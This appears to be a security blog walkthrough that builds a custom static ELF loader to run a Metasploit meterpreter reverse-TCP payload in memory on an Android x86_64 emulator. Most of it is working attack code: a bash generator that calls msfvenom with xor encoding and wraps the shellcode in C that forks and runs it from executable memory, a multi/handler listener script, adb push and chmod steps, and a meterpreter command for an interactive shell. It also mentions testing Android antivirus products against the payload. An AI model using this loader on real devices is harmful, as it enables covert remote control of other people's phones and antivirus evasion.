Since we have been doing all sorts of customization against Windows/Linux targets for meterpreter/mettle loaders in the past, it is a right time to do one against the ever popular Android platform.
We have done the installation in Qemu (under qemu-system-x86_64 KVM acceleration) of Android in the previous exercise ( https://astr0baby.wordpress.com/2019/07/09/android-8-1-in-qemu-and-burp-suite-ssl-interception/ ) now we shall concentrate on running a meterpreter/mettle loader on it.
All online articles I have found deal with the Metasploit APK generated payloads which are available in Metasploit under the following payloads :
android/meterpreter/reverse_http Android Meterpreter, Android Reverse HTTP Stager android/meterpreter/reverse_https Android Meterpreter, Android Reverse HTTPS Stager android/meterpreter/reverse_tcp Android Meterpreter, Android Reverse TCP Stager android/meterpreter_reverse_http Android Meterpreter Shell, Reverse HTTP Inline android/meterpreter_reverse_https Android Meterpreter Shell, Reverse HTTPS Inline android/meterpreter_reverse_tcp Android Meterpreter Shell, Reverse TCP Inline android/shell/reverse_http Command Shell, Android Reverse HTTP Stager android/shell/reverse_https Command Shell, Android Reverse HTTPS Stager android/shell/reverse_tcp Command Shell, Android Reverse TCP Stager
All of these however end up generating a Davlik APK file which I did not really want to do anything with since it has been covered about million times already. Instead I wanted to create and run/execute custom Elf32 x86_64 static binary that would inject Meterpreter/Mettle into memory on the Android.
Since Android is a variant if Linux we can safely compile a statically linked Linux binaries and load x86_64 meterpreter via our custom loaders.
Following shell-script (place it in the Metasploit Framework directory and make executable) was used to generate a linux-payload binary that was pushed to the Android system via adb
clear echo "*********************************************************" echo " Automatic METTLE loader generator - FOR METASPLOIT " echo " For Android x86_64 - STATIC BINARY " echo " aarch64/armle/mipsbe/mipsle/x64/x86 " echo " Fork() exercise using custom mettle loader " echo " Astr0Baby " echo "*********************************************************" echo -e "What IP are we gonna use ? \c" read IP echo -e "What Port Number are we gonna listen to? : \c" read port echo '[*] Checking if metasploit msfconsole and msfvenom are present in current path ..' if [ -x ./msfvenom ]; then echo '[*] Found msfvenom in current path ........ good' MSFVERSION=`./msfconsole --version` echo -n $MSFVERSION else echo '[-] No msfvenom in path...make sure you have this script in your metasploit-framework path' exit 0 fi # TESTED WITH GCC 6.5.0 (x64) # TESTED WITH GCC 7.3.0 (x64) # TESTED WITH GCC 8.2.0 (x64) echo '[*] Checking if GCC compiler is present..' if [ -x /usr/bin/gcc ]; then echo '[*] Found gcc ' GCCVERSION=`gcc --version | head -n 1` echo $GCCVERSION else echo '[-] No working gcc found ...make sure you have GCC compiler installed ' exit 0 fi # Main msfvenom shellcode call here ./msfvenom -p linux/x64/meterpreter/reverse_tcp EXITFUNC=process LHOST=$IP LPORT=$port -a x64 --platform linux -e x64/xor -f c -o test.c # Main variables defined here linuxpayloadc="./linux-payload.c" linuxpayload="./linux-payload" echo '[*] Cleaning up ' rm -f $linuxpayloadc #Main define here echo "#include <stdio.h>" > temp.c echo '#include <sys/types.h>' >> temp.c echo '#include <sys/ipc.h>' >> temp.c echo '#include <sys/msg.h>' >> temp.c echo '#include <string.h>' >> temp.c echo '#include <sys/mman.h>' >> temp.c echo '#include <fcntl.h>' >> temp.c echo '#include <sys/socket.h>' >> temp.c echo '#include <stdlib.h>' >> temp.c echo '#include <errno.h>' >> temp.c echo '#include <sys/mman.h>' >> temp.c echo '#include <sys/types.h>' >> temp.c echo '#include <sys/stat.h>' >> temp.c echo '#include <sys/ioctl.h>' >> temp.c echo '#include <unistd.h>' >> temp.c echo '#include <strings.h>' >> temp.c echo '#include <unistd.h>' >> temp.c echo '#include <poll.h>' >> temp.c echo '#include <pthread.h>' >> temp.c echo '#include <stdint.h>' >> temp.c echo '' >> temp.c cat test.c >> temp.c echo '' >> temp.c echo 'void genlol();' >> temp.c echo 'int random_in_range (unsigned int min, unsigned int max);' >> temp.c echo 'int random_in_range (unsigned int min, unsigned int max)' >> temp.c echo '{' >> temp.c echo 'int base_random = rand();' >> temp.c echo 'if (RAND_MAX == base_random){' >> temp.c echo 'return random_in_range(min, max);' >> temp.c echo '}' >> temp.c echo 'int range = max - min,' >> temp.c echo 'remainder = RAND_MAX % range,' >> temp.c echo 'bucket = RAND_MAX / range;' >> temp.c echo 'if (base_random < RAND_MAX - remainder) {' >> temp.c echo 'return min + base_random/bucket;' >> temp.c echo '} else {' >> temp.c echo 'return random_in_range (min, max);' >> temp.c echo '}' >> temp.c echo '}' >> temp.c echo 'char* rev(char* str)' >> temp.c echo '{' >> temp.c echo 'int end=strlen(str)-1;' >> temp.c echo 'int i;' >> temp.c echo 'for(i=5; i<end; i++)' >> temp.c echo '{' >> temp.c echo 'str[i] ^= 1;' >> temp.c echo '}' >> temp.c echo 'return str;' >> temp.c echo '}' >> temp.c echo 'int main(int argc, char **argv)' >> temp.c echo '{' >> temp.c echo 'system ("clear");' >> temp.c echo 'printf ("=====================================\n");' >> temp.c echo 'printf ("Testing m3tt73 loader fork() on Linux \n");' >> temp.c echo 'printf ("=====================================\n");' >> temp.c echo 'printf ("[+] Sleeping for a while ...\n");' >> temp.c echo 'system("/system/bin/sleep 1");' >> temp.c echo 'printf(".");' >> temp.c echo 'fflush(stdout);' >> temp.c echo 'system("/system/bin/sleep 1");' >> temp.c echo 'printf("..");' >> temp.c echo 'fflush(stdout);' >> temp.c echo 'system("/system/bin/sleep 1");' >> temp.c echo 'printf("...");' >> temp.c echo 'fflush(stdout);' >> temp.c echo 'system("/system/bin/sleep 1");' >> temp.c echo 'printf("....");' >> temp.c echo 'fflush(stdout);' >> temp.c echo 'system("/system/bin/sleep 1");' >> temp.c echo 'printf("....@");' >> temp.c echo 'printf ("\n[+] Woke up to Stage 1!\n");' >> temp.c echo 'pid_t process_id = 0;' >> temp.c echo 'pid_t sid = 0;' >> temp.c echo 'process_id = fork();' >> temp.c echo 'if (process_id < 0)' >> temp.c echo '{' >> temp.c echo 'printf("fork failed!\n");' >> temp.c echo 'exit(1);' >> temp.c echo '}' >> temp.c echo 'if (process_id > 0)' >> temp.c echo '{' >> temp.c echo 'printf("[+] Stage 2!\n");' >> temp.c echo 'printf("[+] Here we go ...\n");' >> temp.c echo 'exit(0);' >> temp.c echo '}' >> temp.c echo 'void *ptr = mmap(0, 0x2000, PROT_WRITE|PROT_READ|PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);' >> temp.c echo 'memcpy(ptr,buf,sizeof buf);' >> temp.c echo 'void (*fp)() = (void (*)())ptr;' >> temp.c echo 'fp();' >> temp.c echo 'printf ("\n[-] Exploit failed \n");' >> temp.c echo '}' >> temp.c echo 'void genlol(){' >> temp.c echo 'int num1, num2, num3;' >> temp.c echo 'num1=100;' >> temp.c echo 'while (num1<=5) {' >> temp.c echo 'num1=random_in_range(0,10000);' >> temp.c echo 'num2=random_in_range(0,10000);' >> temp.c echo 'num3=random_in_range(0,10000);' >> temp.c echo 'printf ("\n[*] FAIL STAGE1 \n");' >> temp.c echo 'printf ("\n[*] FAIL STAGE2 \n");' >> temp.c echo '}' >> temp.c echo '}' >> temp.c mv temp.c $linuxpayloadc rm -f test.c if [ -f ./$linuxpayloadc ]; then echo '[*] linux-payoad.c generated ...' echo '[*] Compiling static linux x86_64 binary ... ' gcc $linuxpayloadc -o $linuxpayload -static strip $linuxpayload echo '**************************************' ls -la $linuxpayload echo '[*] Done !' else echo '[-] Something went wrong .. ' exit 0 fi
Now connecting adb to the remote Qemu Android is really simple, just issue the following (use your IPs of course)
$ adb connect 10.0.2.12 //connects to 10.0.2.12 Qemu-Android on default port 5555 $ adb shell x86_64:/ $
Uploading the linux-payload is done via adb shell again (I have had no time to find all possible locations where you can upload a file and make it executable, so we will have to use the below example for now)
$ adb push linux-payload /storage/self/primary $ adb shell x86_64:/ $ su x86_64:/ # cd /storage/self/primary x86_64:/storage/self/primary # mv linux-binary /data/ x86_64:/data # cd /data x86_64:/data # chmod +x linux-payload
Now we will open up another terminal on our Linux host and run the Metaspoit Listener script in order to catch the reverse meterpreter shell (again save this in metasploit root directory and make executable and run)
#!/bin/bash clear echo "************************************************************" echo " Automatic Linux METTLE Listener - FOR METASPLOIT " echo " For aarch64/armle/mipsle/mipsbe/x64/x86 " echo " Astr0Baby " echo "************************************************************" echo -e "What IP are we gonna listen to ? \c" read host echo -e "What Port Number are we gonna listen to? : \c" read port echo "Starting the meterpreter listener.." echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST ' > run.listener.sh echo -n $host >> run.listener.sh echo -n '; set LPORT ' >> run.listener.sh echo -n $port >> run.listener.sh echo -n '; run"' >> run.listener.sh chmod +x run.listener.sh ./run.listener.sh
Once you have the Metasploit Listener shell ready
we can execute the Android payload from the ADB shell
Small note here > the meterpreter shell command does not work in this case against Android so we can use the following workaround instead
meterpreter> execute -f /system/bin/sh -i echo on
We can even test some Android AV solutions (Tested Avast, AVG and Eset)
Here is a video summary of this exercise